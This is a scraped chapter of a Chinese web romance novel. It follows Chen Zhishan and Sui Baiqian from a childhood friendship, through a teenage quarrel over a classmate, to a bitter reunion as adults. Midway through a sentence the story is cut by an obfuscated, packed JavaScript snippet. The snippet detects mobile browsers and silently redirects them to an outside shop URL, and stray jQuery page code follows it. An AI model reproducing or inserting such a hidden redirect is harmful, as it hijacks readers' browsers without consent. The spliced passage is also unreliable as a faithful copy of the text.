默认冷灰
24号文字
方正启体

12. 12

作者:银河客本书字数:K更新时间:
    陈知善其实知道“巢知工作室”。前几年在欧美区名声大噪的《XIXIland》音乐剧,其中的编导之一就叫ZebSui。


    说起来Zeb这个英文名字还是她和曾瑜修一起给某人起的,那时候他刚从美国接回来,白人文化并没有侵蚀他的大脑,反而稚气未脱道:“叫我中国名不好么?要那些个洋玩意儿做什么!”


    彼时隋白谦刚满十二岁,她十一岁。


    因为贺兆柔和隋白谦的奶奶关系并不好,时时闹两场,有了隋家大哥养在身边,隋白谦刚满三岁便被强行要去了美国,由他奶奶和姑姑教导抚养。


    隋家是红顶商人的出身,祖上追五代都能追出几个混血,可贺家是铁骨铮铮的军人家庭,往上追五代都是农民。贺兆柔本就看不惯老一辈砸钱溺爱孩子那一套,隋家仗着有钱更是变本加厉,所以从隋白谦被接回国那一天起,贺兆柔便对他进行了军事化管理。


    陈知善搬进四合院的第一天,被骑着小自行车的隋白谦撞了个人仰马翻,当天晚上就听见了贺兆柔训孩子的话。


    “隋白谦,我给你起这个名字是因为你从小体弱多病,希望你岁百千的,不是真让你出去当皇帝!胡同口就那么大点儿的地,你骑什么自行车!”


    彼时她正在等妈妈帮她找洗澡用的换洗衣服,家里的行李还没有收拾完,几个红棕木大箱子垒起来放在一边,茶几上摆着几套用报纸缠裹的茶具。


    曾瑜修从房间里拿着衣服过来,诧异又无奈的看了墙那边一眼,将小小的她搂在怀里,柔声,“宝贝,今天撞疼了吗?”


    她缩在曾瑜修怀里,闻着妈妈身上的香味,摇了摇头:“不疼。妈妈,他会挨打吗?”


    她今天下午亲眼看见了,贺阿姨一脚踹开了她的儿子,将自己搂在了怀里,她看到那个小男孩眼眶瞬间就红了。


    曾瑜修摸了摸她头上的创可贴,笑了声:“妈妈不知道,但我们可以帮帮他。”


    “怎么帮?”


    曾瑜修低头,附在她耳边轻轻说了几句话。


    十分钟后,曾瑜修带着自己去巴黎访问淘回来的一套小众琉璃茶具,带着她,敲开了贺家的门。


    大人们忙着寒暄交际,搭建关系,她则小跑步过去将戒尺悄悄藏起来,又把隋白谦牵回了自己家。


    “你叫什么名字?”


    进了门,她学着曾瑜修招待客人的规矩,从冰箱里找了半天,最后翻出一瓶罐装咖啡递给坐在沙发上的人。


    “隋白谦。”那男孩接过,不大高兴的说。


    “没有小名吗?”


    “....小白。”


    “好像小狗名....”她小小声。


    炸毛小狗立刻恶狠狠的瞪着她:“你叫啥!”


    “陈、知、善,你可以叫我小善。”


    那是他们第一次不算正式的自我介绍,也是最后一次。


    隔天,曾瑜修便向贺兆柔提议,把孩子送来由她带吧,她总归闲着,带一个也是带,带两个也是带。


    那段时间曾瑜修正在主持一项国家级社科基金项目,要对美国一位著名女性主义学者的生前著作进行翻译,曾瑜修在电脑边工作,陈知善就趴在一旁的小书桌练字,隋白谦则闲的无聊,坐在地上搭乐高,其乐融融。


    曾瑜修喜欢活泼的孩子,时不时与他闲聊几句,问他在美国的见闻,有没有英文名字。


    隋白谦傲娇的说没有,曾瑜修便说帮他起一个。


    “叫Zeb怎么样,小善叫Shay。以后我送小善去美国读大学,你也陪着她,好不好?”


    初中三年,他俩几乎“无话不说”,尽管好多时候都是她单方面“教育”隋白谦。


    “不许喝冰水!”


    “不许不洗手就抓我的头发!”


    “不许穿外裤坐我的床!”


    “不许不写完作业就骚扰我!写完也不可以!”


    隋白谦时时一只耳朵进,一只耳朵出,但从没有违逆过。


    一直到初三,少年抽条般的长高了,几乎逼近一米八。晚上放学,隋白谦不坐家里的车,非蹬一条单车在车棚等她。每次她从楼上下来,便能看见一个身高腿长的炸毛漫画男等在楼下,两只耳朵里塞着耳机,耳机线坠在胸前。


    她当时的同桌看了不少少女漫画,信誓旦旦的指着隋白谦说:“瞧吧,他百分百喜欢你。”


    “为什么?”陈知善还在想中考模拟的事,心不在焉的问了一句。


    “他不喜欢你每天等你回家干什么。”


    “因为我妈妈让我教他学习,让他照顾我呀。”


    也许是她太义正严辞了,同桌悄默声的沉默了,过了一会儿,兴致缺缺道:“不过也是,隋白谦虽然长得好看,但脾气差。还是林祁适合你。”


    “啊,林祁?”她疑惑。


    怎么还和林祁有关系了?


    同桌笑眯眯搡了下她肩膀:“你俩是文理双秀嘛,连教导主任都这么说。你数学满分,他语文英语满分,我们都觉得你俩更配,比和隋白谦配。”


    同桌的声音不算小,陈知善下意识看了隋白谦一眼,只见他正插着耳机看手机,应该没听到。


    “别胡说了。”她收回眼。


    同桌耸耸肩:“”


    这是陈知善第一次听到除她与隋白谦之外的八卦,但当时已临近中考,许多学生并不会与他们一样有条件直升京北一中高中部,她便没有放在心上。


    在炎热的盛夏晚风里,她与同桌告别,便走过去坐在隋白谦的单车后座,由他带着穿街过巷。


    经过前栅栏,她要他放自己下去,说妈妈晚上有应酬,她想去买点卤煮。


    隋白谦大约心情不好,忽然像被炮仗点了般的与她对冲:“陈小善,你好好一个千金大小姐,吃什么下水啊!去吃烤鸭我都算瞧得起你!”


    陈知善平常在家时刻被曾瑜修管束,除了营养师调配的健康餐外什么都不能吃,今天好不容易曾瑜修不在家,却还要被他说嘴,一时不高兴,两只手握着书包带,用力放重了些声音:“你不想等先回家吧,我吃完自己回去就好了。”


    隋白谦等她在教室做卷子就等了快半个小时,现在竟然让他走?


    “你道德吗?”他生气,“我等你这么久,你现在让我走?”


    陈知善不理解他的脑回路,怎么好好的又不高兴了。可她今天不想和他吵架,正好看见林祁也在附近买晚饭,便直接朝林祁走过去。


    “去吃小吃吗?”她问。


    林祁手里还提了两个烧饼,打算吃完去书店看书,随意点了下头,“吃。”


    “那我们一起好了。”


    林祁没看见身后的隋白谦,正好他有数学题要问陈知善,便提议:“吃完去书店吗,买两本教辅,顺便帮我解答几个问题。”


    陈知善还有些担心隋白谦要怎么吃完饭,可她回头看的时候,那人就那么目光冷冷的站在原地看她,下一秒,她收到他的短信。


    小白:“陈小善,我给你十秒种走回来。”


    陈知善:?


    凭什么?


    当时曾瑜修的身体还没有出太大的问题,即便偶尔体弱,也如擎天柱般为自己撑起一片天。


    陈知善从小


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099443|195702||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    娇养,性情和顺,从来没人这样和她说话,于是一生气,当着隋白谦的面,将他的手机号拖入黑名单。


    “陈知善,有本事以后你再也别和我一起回家!”


    隋白谦短信发不通,索性站在后面大喊,林祁也跟着回头,不知道侧头和陈知善说了什么,陈知善犹豫了一下,最后还是转过身,和林祁肩并肩走了。


    “行,陈知善你真行。你就跟他走吧,老子早他妈的受够你了!再也不想看你脸色了!你们爱去哪去哪!”


    ......


    那是中考前的最后一个休息周,没几天便是人生中最重要的一场考试。中考暑假,隋白谦被奶奶接去美国,等他再回来,便是曾瑜修身体每况愈下自顾不暇、无法再带他学习的消息。


    也是从那天起,一直到他们的高中时代结束,陈知善和他都没再好好说过一句话。


    之后的每一次都是抽筋剥皮、伤筋动骨。


    /


    空气中漂浮着尴尬因子,宛如被抽干氧气的真空,连呼吸都不畅快。


    林培之最先反应了过来,也验证了自己此前的猜想,此刻生怕惹祸上身般的自保姿态——


    “刚才和女友吵了一架,感谢陈教授借车,谢谢谢谢。那个,江院、韩院,各位同侪们,咱们先进饭馆里?”


    江淮南意味深长的看了陈知善一眼,当事人已经脸上挂不住一点了,那点愤怒、羞赧、甚至委屈,几乎都写在了脸上。


    他带了这孩子这么多年,哪里见她情绪如此的丰富外露过,无非是实在绷不住罢了。


    只是江淮南也疑惑,这八杆子打不着的人,是怎么有瓜葛的?


    疑惑间,林培之已经来开始引路,于是一行人都进了饭店,宋贤和段眉也带着剧团的人早进去了,海风吹拂的诺大地上停车场,此刻只他们两个人。


    隋白谦因刚才那人识相的一句“女朋友”,瞬间意识到他误会了,原来只是普通同事蹭车,不是别的。


    可即便如此,他也没有表现出任何的歉疚表情,只是摸了摸鼻子,不尴不尬的开口:“江院竟然不记得我,我挺意外的。”


    陈知善几乎气笑,死死攥着手提包带,阴阳怪气:“是啊,京北隋家二少么,路边来条狗都得认识您。”


    见她终于对自己有了些激烈情绪,隋白谦反而高兴,走近两步:“你这么说我就......”


    可他话没说完,陈知善已经扭头走了。


    她车就停在身后,不过是掏出钥匙的空档,她在手提包里摸到了什么,立刻抓出来,丢石子般丢到他身上,也不管他接不接的住。


    隋白谦条件反射,等捏住了那团红丝绒,才意识到那块百达翡丽还是被她给还回来了。


    陈知善:“我那支旧手表你爱还不还。林祁上个月还说要送我支新表,我怕他破费,没要,现在正好,你替我断舍离了,多谢。”


    时间要是能往回倒退七年,被他欺负了的陈知善,不上来打他两下,也要狠狠啐他几口。


    破防才等于在乎,这一点,他在她身上屡试不爽。可如今这条法则不再起验证效果,隋白谦便觉得一切索然无味,甚至可笑了。


    “哦,你和林祁还是那么好?他送你表,以什么身份送你表?”他破防到冷笑,提问她。


    陈知善边走边开车门,海风吹起她的长发,依然清冷至漠然的样子,她的情绪已经收鞘,“你希望听到什么?恋人?”


    见隋白谦脸色瞬间发沉,她轻声笑:


    “隋白谦,你永远都不会懂我和林祁之间的感情,就像你从来没懂过我对你的感情。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)